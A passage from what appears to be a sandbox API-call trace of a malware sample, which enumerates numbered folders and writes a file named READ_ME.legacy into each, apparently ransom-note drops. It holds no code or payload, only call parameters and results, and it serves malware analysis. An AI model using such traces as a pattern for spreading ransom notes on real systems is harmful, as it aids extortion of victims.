hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0067.333] GetLastError () returned 0x0 [0067.333] SetLastError (dwErrCode=0x0) [0067.333] GetLastError () returned 0x0 [0067.333] SetLastError (dwErrCode=0x0) [0067.333] GetLastError () returned 0x0 [0067.333] SetLastError (dwErrCode=0x0) [0067.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0067.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0067.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0067.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0067.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.334] GetLastError () returned 0x0 [0067.334] SetLastError (dwErrCode=0x0) [0067.334] GetLastError () returned 0x0 [0067.334] SetLastError (dwErrCode=0x0) [0067.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0067.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.334] GetLastError () returned 0x0 [0067.334] SetLastError (dwErrCode=0x0) [0067.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0067.334] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1044\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0067.337] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.338] CloseHandle (hObject=0x454) returned 1 [0067.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0067.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0067.338] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1045", cAlternateFileName="")) returned 1 [0067.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.339] GetLastError () returned 0x0 [0067.339] SetLastError (dwErrCode=0x0) [0067.339] GetLastError () returned 0x0 [0067.339] SetLastError (dwErrCode=0x0) [0067.339] GetLastError () returned 0x0 [0067.339] SetLastError (dwErrCode=0x0) [0067.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0067.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0067.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0067.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0067.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0067.340] GetLastError () returned 0x0 [0067.340] SetLastError (dwErrCode=0x0) [0067.340] GetLastError () returned 0x0 [0067.340] SetLastError (dwErrCode=0x0) [0067.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0067.340] GetLastError () returned 0x0 [0067.340] SetLastError (dwErrCode=0x0) [0067.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0067.340] CreateFileW (lpFileName="\\588bce7c90097ed212\\1045\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1045\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0067.343] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.344] CloseHandle (hObject=0x454) returned 1 [0067.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0067.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.345] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1046", cAlternateFileName="")) returned 1 [0067.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0067.345] GetLastError () returned 0x0 [0067.345] SetLastError (dwErrCode=0x0) [0067.345] GetLastError () returned 0x0 [0067.345] SetLastError (dwErrCode=0x0) [0067.345] GetLastError () returned 0x0 [0067.345] SetLastError (dwErrCode=0x0) [0067.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0067.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0067.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0067.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0067.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0067.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.346] GetLastError () returned 0x0 [0067.346] SetLastError (dwErrCode=0x0) [0067.346] GetLastError () returned 0x0 [0067.346] SetLastError (dwErrCode=0x0) [0067.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0067.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.346] GetLastError () returned 0x0 [0067.346] SetLastError (dwErrCode=0x0) [0067.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0067.346] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1046\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0067.349] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.350] CloseHandle (hObject=0x454) returned 1 [0067.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0067.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.350] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1049", cAlternateFileName="")) returned 1 [0067.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0067.350] GetLastError () returned 0x0 [0067.350] SetLastError (dwErrCode=0x0) [0067.350] GetLastError () returned 0x0 [0067.350] SetLastError (dwErrCode=0x0) [0067.350] GetLastError () returned 0x0 [0067.350] SetLastError (dwErrCode=0x0) [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0a0 [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0067.351] GetLastError () returned 0x0 [0067.351] SetLastError (dwErrCode=0x0) [0067.351] GetLastError () returned 0x0 [0067.351] SetLastError (dwErrCode=0x0) [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.351] GetLastError () returned 0x0 [0067.351] SetLastError (dwErrCode=0x0) [0067.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0067.351] CreateFileW (lpFileName="\\588bce7c90097ed212\\1049\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1049\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0067.354] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.356] CloseHandle (hObject=0x454) returned 1 [0067.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0067.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0067.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0067.356] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1053", cAlternateFileName="")) returned 1 [0067.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0067.356] GetLastError () returned 0x0 [0067.356] SetLastError (dwErrCode=0x0) [0067.356] GetLastError () returned 0x0 [0067.356] SetLastError (dwErrCode=0x0) [0067.357] GetLastError () returned 0x0 [0067.357] SetLastError (dwErrCode=0x0) [0067.357] GetLastError () returned 0x0 [0067.357] SetLastError (dwErrCode=0x0) [0067.357] GetLastError () returned 0x0 [0067.357] SetLastError (dwErrCode=0x0) [0067.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0067.357] GetLastError () returned 0x0 [0067.357] SetLastError (dwErrCode=0x0) [0067.357] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1053\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0067.360] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.361] CloseHandle (hObject=0x454) returned 1 [0067.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0067.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d120 | out: hHeap=0x520000) returned 1 [0067.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0067.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.361] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1055", cAlternateFileName="")) returned 1 [0067.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.361] GetLastError () returned 0x0 [0067.361] SetLastError (dwErrCode=0x0) [0067.362] GetLastError () returned 0x0 [0067.362] SetLastError (dwErrCode=0x0) [0067.362] GetLastError () returned 0x0 [0067.362] SetLastError (dwErrCode=0x0) [0067.362] GetLastError () returned 0x0 [0067.362] SetLastError (dwErrCode=0x0) [0067.362] GetLastError () returned 0x0 [0067.362] SetLastError (dwErrCode=0x0) [0067.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.362] GetLastError () returned 0x0 [0067.362] SetLastError (dwErrCode=0x0) [0067.362] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1055\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0067.365] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.366] CloseHandle (hObject=0x454) returned 1 [0067.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0067.366] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="2052", cAlternateFileName="")) returned 1 [0067.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.367] GetLastError () returned 0x0 [0067.367] SetLastError (dwErrCode=0x0) [0067.367] GetLastError () returned 0x0 [0067.367] SetLastError (dwErrCode=0x0) [0067.367] GetLastError () returned 0x0 [0067.367] SetLastError (dwErrCode=0x0) [0067.367] GetLastError () returned 0x0 [0067.367] SetLastError (dwErrCode=0x0) [0067.367] GetLastError () returned 0x0 [0067.367] SetLastError (dwErrCode=0x0) [0067.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.367] GetLastError () returned 0x0 [0067.367] SetLastError (dwErrCode=0x0) [0067.368] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\2052\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0067.370] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.371] CloseHandle (hObject=0x454) returned 1 [0067.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0067.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0067.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0067.372] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="2070", cAlternateFileName="")) returned 1 [0067.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.372] GetLastError () returned 0x0 [0067.372] SetLastError (dwErrCode=0x0) [0067.372] GetLastError () returned 0x0 [0067.372] SetLastError (dwErrCode=0x0) [0067.372] GetLastError () returned 0x0 [0067.372] SetLastError (dwErrCode=0x0) [0067.373] GetLastError () returned 0x0 [0067.373] SetLastError (dwErrCode=0x0) [0067.373] GetLastError () returned 0x0 [0067.373] SetLastError (dwErrCode=0x0) [0067.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.373] GetLastError () returned 0x0 [0067.373] SetLastError (dwErrCode=0x0) [0067.373] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\2070\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0067.375] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.376] CloseHandle (hObject=0x454) returned 1 [0067.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0067.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.377] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="3076", cAlternateFileName="")) returned 1 [0067.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.377] GetLastError () returned 0x0 [0067.377] SetLastError (dwErrCode=0x0) [0067.377] GetLastError () returned 0x0 [0067.377] SetLastError (dwErrCode=0x0) [0067.377] GetLastError () returned 0x0 [0067.377] SetLastError (dwErrCode=0x0) [0067.377] GetLastError () returned 0x0 [0067.377] SetLastError (dwErrCode=0x0) [0067.377] GetLastError () returned 0x0 [0067.377] SetLastError (dwErrCode=0x0) [0067.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.377] GetLastError () returned 0x0 [0067.377] SetLastError (dwErrCode=0x0) [0067.377] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\3076\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0067.379] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.380] CloseHandle (hObject=0x454) returned 1 [0067.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0067.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.381] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="3082", cAlternateFileName="")) returned 1 [0067.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0067.381] GetLastError () returned 0x0 [0067.381] SetLastError (dwErrCode=0x0) [0067.381] GetLastError () returned 0x0 [0067.381] SetLastError (dwErrCode=0x0) [0067.381] GetLastError () returned 0x0 [0067.381] SetLastError (dwErrCode=0x0) [0067.381] GetLastError () returned 0x0 [0067.381] SetLastError (dwErrCode=0x0) [0067.381] GetLastError () returned 0x0 [0067.381] SetLastError (dwErrCode=0x0) [0067.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0067.381] GetLastError () returned 0x0 [0067.381] SetLastError (dwErrCode=0x0) [0067.381] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\3082\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0067.384] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, 